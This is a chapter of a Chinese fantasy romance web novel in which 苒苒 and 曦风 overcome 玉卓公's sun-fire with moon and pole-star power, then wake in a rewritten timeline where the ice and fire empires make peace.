    玉卓公的冷笑震得图腾柱簌簌作响:"垂死挣扎!"他身后的火凤展开双翅,赤金色的火焰瞬间将天际染成熔炉。然而当火焰触及苒苒发间的九凤衔珠钗时,竟诡异地凝结成霜。月神之力顺着冰蝶残片蔓延,她看见星渊深处母亲湛蓝冕服下藏着的星图,听见父亲在密道中未尽的叹息,还有曦风无数个深夜为她守护的心跳。


    "原来如此..."苒苒轻声呢喃,白裙无风自动。十二根图腾柱突然迸发幽蓝光芒,将她与曦风的身影笼罩其中。在时空重叠的刹那,她看见平行世界里,自己与兄长仍在茉莉花田追逐,缤若的蓝银草开得正好,朴水闵的冰灯映着满院清辉。而此刻,玉卓公惊愕的神色在火焰中扭曲——月神与北极星的力量,正将他引以为傲的太阳真火,一寸寸淬炼成冰。


    当幽蓝的月光与赤金的火焰在时空裂隙中轰然相撞,整个雪原迸发出足以撕裂维度的光芒。苒苒感觉曦风的手臂将她箍得生疼,银玥玉佩滚烫的温度透过白袍烙在她心口,而朴水闵的熹黄色衣袖死死攥住她的裙角,仿佛溺水者抓住最后浮木。缤若的蓝银草在剧痛中绽放出璀璨光华,素兰色的裙摆化作漫天飞花,将白雍射出的猎户星箭托举成银河。


    玉卓公的怒吼被湮灭在能量风暴中,他金冠上的日轮图腾寸寸崩裂。火凤的羽翼被冻结成晶莹的琥珀,赤金色的火焰在苒苒周身凝结成冰雕的凤凰,反而成了守护她的屏障。十二根图腾柱的光芒汇聚成漩涡,将众人卷入时空的最深处。


    不知过了多久,苒苒在沁人的茉莉花香中醒来。她惊觉自己躺在归渔居的冰床上,白裙纤尘不染,腕间的冰珠脚链正发出柔和的光。推开门,曦风倚着雕花冰柱而立,白袍洁净如初,银玥玉佩在晨光中泛着温润的光泽。"醒了?"他伸手为她拂去发间的蓝银草花瓣,眼底盛满劫后余生的温柔。


    庭院里,朴水闵正举着熹黄色的裙摆追逐冰蝶,笑声清脆如银铃。缤若坐在茉莉花丛中,素兰色的裙裾垂落在冰晶溪流里,指尖轻点处便绽开蓝银草花。白雍斜倚在不远处的冰树上,白色锦衣随风轻扬,猎户座玉佩与天空的星辰遥相呼应。


    远处传来熟悉的脚步声,廉贞王子的素白身影出现在回廊尽头,手中捧着新雕的冰灯。雪皇的湛蓝色冕服掠过冰砖地面,发间星辰发饰重新焕发光彩。"星轨...改写了。"雪皇的声音带着释然,她望向苒苒的目光第一次褪去了冰霜,"玉卓公的火焰帝国...与我们缔结了永世和平的盟约。"


    苒苒望向天际,那里悬浮着奇异的光晕——日月同辉,冰雪与火焰交织成绚丽的极光。曦风的手悄然覆上她的,掌心的温度融化了指尖的薄霜。朴水闵蹦跳着将一束蓝银草塞进她怀中,缤若温柔地为她别上完整的蓝银草发簪,白雍则笑着举起星弓,射落天边最亮的流星。


    在这个被改写的时空中,幻雪帝国的宫殿依旧银装素裹,茉莉花田终年芬芳。曜雪玥星的子民们传颂着月神与北极星的传说,而五位少年依旧会在归渔居的庭院里相聚。当夜幕降临,人们总能看见两道身影并肩坐在冰阶上,看蓝银草在月光下闪烁,听星弓划破夜空的铮鸣,守着永不熄灭的希望与温柔。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)